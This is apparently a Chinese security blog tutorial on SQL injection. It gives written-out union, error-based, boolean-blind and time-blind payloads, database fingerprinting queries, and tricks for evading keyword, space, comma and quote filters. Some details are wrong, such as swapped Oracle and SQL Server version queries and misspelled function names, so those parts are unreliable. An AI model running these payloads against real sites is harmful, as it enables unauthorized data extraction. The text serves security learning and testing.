经典漏洞-SQL注入

本文最后更新于:2022年8月10日 下午

1 原理 & 类型

1.1 SQL 注入原理

基本的SQL查询语句如下所示,其中 $id 为提交的变量,当这个参数没有做非常严格的过滤,通过对 $id 的构造,数据库能输出攻击者想要获取的内容,就造成了SQL注入的漏洞。

1
SELECT * FROM users WHERE id='$id' LIMIT 0,1

Tips: $id 参数可能存在于任何参数传递的位置:

  • GET/POST/PUT/DELETE 参数
  • X-Forwarded-For(详细内容待补充)
  • 查询、搜索
  • 页码、选择菜单
  • 账号、密码
  • 文件名

1.2 SQL注入的类型(按技巧分类)

  • 盲注
    • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
    • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
  • 报错注入:应用会显示全部或者部分的报错信息
  • 堆叠注入:有的应用可以加入 ; 后一次执行多条语句
  • 联合查询注入:

2 检测手段

2.1 注入点是否存在 & 数据类型

2.1.1 添加单引号

修改参数 $id 的值,在其中加入单引号,将SQL查询内容不闭合,如下所示,页面可能会显示部分或者全部数据库报错内容(如果没有被过滤),则存在注入点,且注入类型为字符型。

1
SELECT * FROM users WHERE id='$id'' LIMIT 0,1

2.1.2 添加运算符

传入的参数并没有显示在报错信息中,则传入的参数前面可能没有引号包裹,于是注入的类型可能是数字型。可以通过在id后添加运算符,如-1,+2,来观察页面的内容是否会变成对应的 id 来判断是否存在注入点,此时注入类型为数字型。

如下所示,将id变为1+1,+号在URL中会被编码为空格,所以我们需要提前将+号进行URL编码,变为:%2b

1
2
SELECT * FROM users WHERE id='1+1' LIMIT 0,1;
SELECT * FROM users WHERE id='1%2b1' LIMIT 0,1;

2.2 注入类型

2.2.1 堆叠注入

分号 ; 在sql中意味着一条语句的结束,可以在分号后继续构造第二条语句,数据库依然会继续执行,这样就会存在堆叠注入。

Tips: 堆叠注入存在局限性

  1. 结果不会在页面显示
  2. 接口或者数据库引擎不支持
1
SELECT * FROM users WHERE id='1';SELECT 1,database(),version(),4,5

2.2.2 报错注入

2.2.2.1 联合查询注入

表的字段数量判断

在mysql、mariadb、oracle等数据库中,可以使用数字来代替对应字段(列)的名称,如果数据库中没有对应的字段(列),就会报错。使用 order by 让 $id 按照不同的字段排序,直到 order by 后的数字超出了字段数量,则会返回报错信息。

1
SELECT * FROM users WHERE id='1' order by 1 --+ LIMIT 0,1;
显示字段内容判断

union 联合查询时,当前面的语句为假,则后面的查询结果会显示到相应的位置。则可以通过在前面查询语句中添加 and 1=2 使语句变假,来判断页面显示的内容为表中的哪几个字段。然后使用database()和version()替换相应的字段位置就可以查询数据库名称和版本号。

1
2
3
4
SELECT * FROM users WHERE id='-1' union select 1,2,3,4,5 --+ LIMIT 0,1;
SELECT * FROM users WHERE id='1' and 1=2 union select 1,2,3,4,5 --+ LIMIT 0,1;

SELECT * FROM users WHERE id='-1' UNION SELECT 1,database(),version(),4,5 --+

2.2.2.2 group by重复建冲突报错

1
2
3
4
5
6
7
8
9
SELECT * FROM users WHERE id='2' and (
select 1 from (
select count(*),concat(
(
select database() from information_schema.tables limit 0,1 --+ 真正的查询语句
),floor(rand()*2)
)x from information_schema.tables group by x
)a
) --+

2.2.2.3 xpath语法错误

xpath 语法报错注入,主要利用extractvalue()和updatexml()函数。

使用方法:

1
2
3
4
5
6
7
SELECT * FROM users WHERE id='2' and extractvalue(1,concat('^',(
select database() --+ 真正的查询语句
),'^')) --+

SELECT * FROM users WHERE id='2' and updatexml(1,concat('^',(
select database() --+ 真正的查询语句
),'^'),1) --+

2.2.3 盲注

2.2.3.1 布尔盲注

判断数据库名长度

改变length(database())=的数值,当条件为真时,页面就会正常显示

1
SELECT * FROM users WHERE id='2' and length(database())=1 --+
判断数据库名

使用 sbustr 函数一位一位截取数据库名,如果为真,则页面正常显示

1
SELECT * FROM users WHERE id='2' and substr(database(),1,1)='s' --+

2.2.3.2 时间盲注

当页面没有布尔状态时,可以通过观察页面响应时间是否变长来判断输入的条件是否正确。

1
2
3
SELECT * FROM users WHERE id='1' and sleep(10) -- +' LIMIT 0,1;
SELECT * FROM users WHERE id='1' and if((length(database())=8),sleep(10),1) --+
SELECT * FROM users WHERE id='1' and if((substr(database(),1,1)='s'),sleep(10),1) --+

3 数据库判断

3.1 常见前端与数据库类型匹配

前端语言 数据库
sap sql server,Access
.net sql server
php PostgreSQL, Mysql
java mysql, oracle

3.2 数据库标志性信息

数据库 信息查询
oracle select@@version –
sql server select banner from v$version
mysql select @@version, version() –, lenth(user)>0
postgreSQL select version() –

3.3 字符串处理方式

数据库 处理方式
sql server id=1 and ‘a’+’b’=’ab’ –
mssql id=1 and ‘a’+’b’=’ab’
mysql id=1 and ‘a’+’b’=’ab’, ‘ab’=concat(‘a’,’b’)
oracle id=1 and ‘a’+’b’=’a’||’b’, ‘ab’=concat(‘a’,’b’)
postgresql id=1 and ‘a’+’b’=’a’||’b’, ‘ab’=concat(‘a’,’b’)

3.4 特殊符号与注释

  1. null 和 %00 是Access支持的注释。
  2. # 是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’– ‘,和/* */注释(注意mysql使用– 时需要后面添加空格)
  3. – 和 /* */ 是Oracle,SQL server和MSSQL支持的注释符,如果正常,说明可能就是这仨了。
  4. ; 是子句查询标识符,在Oracle中不支持多行查询,返回错误,很可能是Oracle数据库。
1
2
' and exists (select count(*) from sysobjects) >0 正常,就是MSSQL数据库
' and exists (select count(*) from msysobjects) >0 两条都不正常,是Access数据库

4 绕过

4.1 关键字过滤

  • 第一种是替换关键字,这种方式可以直接通过双写关键词等方式来进行绕过;
  • 第二种是关键词直接拦截,这种情况下可以通过变换函数等方式来进行绕过。

4.2 空格过滤

  • 使用/**/即SQL语句中的注释语句来绕过。
  • 使用双写URL编码绕过,例如(%20 → %2%200)。
  • 通过特殊符号(反引号、加号、括号等等),绕过空格。(在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。)
  • 通过科学计数法绕过:where id=0e1union select 1,2
  • Fuzz所有字符,查找可替代空格的字符例如 %09 %0a %0b %0c %0d。
URL编码 符号
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
数据库 空白字符
SQLite3 0A 0D 0C 09 20
MYSQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20

4.3 逗号过滤/拦截

拦截逗号后,意味着大部分的联合查询注入都失效,这个时候可以尝试进行盲注。

substring和if语句都用到了逗号,因此无法使用。

substring可以用substr()函数来进行代替,if语句可以通过and语句来进行代替。

4.4 单引号拦截/过滤/转义

当引号存在过滤和转义的情况下,可以这样处理:

4.4.1 利用编码特性绕过。(宽字节注入)

比较典型的使用编码就是GBK编码:使用前面的字符吃掉后面的字符(斜杆)。

待补充

4.4.2 利用反斜杠\绕过

待补充

4.4.3 将 utf-8 转换为 utf-16 或 utf-32

待补充

4.5 数字被过滤/拦截绕过

数字被屏蔽时,用响应函数结果来构造。

  • ceil() :为向上取整函数
  • floor():为向下取整函数
  • ! ~~:起到取反的效果
  • pi() :π值
  • version():利用当前版本号进行数字的构造
  • false:值为0
  • true:值为1

4.6 等号过滤

  • 当等于号=呗过滤时,可以使用:like,in 等字符替换
1
2
?id=1' or '1' IN ('1234')#
?id=1' or 1 like 1#

4.7 其他关键字过滤/拦截绕过

关键字被过滤时,可以通过双写或大小写、其他编码例如十六进制、URL编码来进行绕过:

关键字 双写 大小写 其他编码 符号
and aandnd and an\x64 &&
select selselectect SelECt selec\x74
or oorr oR o\x72 ||
union uniunionon uNioN unio\x6e

参考内容

sql注入总结

注入天书


经典漏洞-SQL注入
https://worisur.github.io/2022/08/04/2022-08-04.经典漏洞-SQL注入/
作者
worisur
发布于
2022年8月4日
许可协议